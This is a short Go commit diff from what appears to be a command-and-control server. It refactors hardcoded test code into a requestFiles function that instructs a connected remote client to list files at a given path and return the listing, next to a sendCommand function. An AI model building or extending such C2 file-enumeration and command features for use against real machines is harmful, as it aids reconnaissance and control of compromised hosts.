Add C2 server function to request file listings

cmd/serverFunc.go

@@ -117,22 +117,20 @@ func handleConn(conn net.Conn) {
 	}
 
 	go Heartbeat(ID)
-	time.Sleep(time.Second * 1)
+}
-	fmt.Println("ATTEMPT")
+
-	client, _, _ := returnClient(ID)
+func requestFiles(client Client, path string) (Response, error) {
-	client.Instruct(
+	inst := Instructions{
-		Instructions{
 		IsListFiles: true,
-			Path:        "/home/",
+		Path:        path,
-		},
+	}
-	)
+	client.Instruct(inst)
-	message, err := ServerMessageReceiver(conn)
+	message, err := ServerMessageReceiver(client.Conn)
 	if err != nil {
-		log.Print(err)
+		log.Println(err)
-	}
+		return message, err
-	for _, v := range message.FileList.File {
-		fmt.Println(v.Name, v.FullPath, v.IsFolder)
 	}
+	return message, nil
 }
 
 func sendCommand(client Client, command string) (Output string, err error) {